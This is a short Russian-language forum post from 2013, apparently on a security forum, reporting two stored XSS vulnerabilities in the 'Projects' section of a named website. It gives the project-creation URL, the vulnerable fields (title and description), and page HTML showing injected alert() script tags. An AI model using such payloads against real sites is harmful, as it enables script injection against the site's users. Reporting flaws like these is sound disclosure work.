Показать сообщение отдельно
Старый 15.04.2013, 20:22   #2
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию

2 активные XSS в "Проектах"

Код:
<div style="padding:5px; border:1px dotted grey; clear:both; margin-bottom:10px;">
    <div style="border:0px solid green; overflow:hidden; height:102px;">
	<div style="float:left; margin-right:20px; border:1px solid grey; height:100px; width:100px;">
	<a href="/p19">
	    <img src="/images/9f351714906eacbf85b5e21fbe4bc82c1">
	</a>
        </div>
	<div style="float:left; width:75%;">
	    <div style="clear:both; overflow:auto;">
		<div style="font-size:16px; float:left; font-weight: bold; overflow:hidden;"><script>alert(100)</script></div>
	    </div>
	    <div style="border:0px solid red; height:50px; overflow:auto; font-size:14px; overflow:hidden;"><script>alert(123)</script></div>
	    <div style="">
		<div style="float:left;">Собрано: 0 / 234<img src="/conten1t/images/friends-company_logo_lamp.png" width=20 height=20 /></div>
		<div style="float:right">Дата окончания:&nbsp;03.04.2013</div>
		<div style="clear:both; float:left;">Статус: Активен</div>
	    </div>
	</div>
    </div>
</div>
_http://www.zaimiudruga.ru/projects/create

Уязвимые поля:
Название, описание
BigBear вне форума   Ответить с цитированием